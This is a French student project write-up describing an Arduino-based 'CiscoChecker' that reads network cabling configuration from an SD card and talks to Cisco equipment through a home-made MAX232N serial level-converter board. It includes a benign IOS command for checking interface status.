Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

Communication avec le matériel Cisco

CiscoChecker.png
Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisation la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol (dont la documentation est disponible ici). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons tester la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothéses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé serait mené sur la carte.

Réalisation du code pour les appareil Cisco

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.

show interfaces status | include INAME\ 

Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.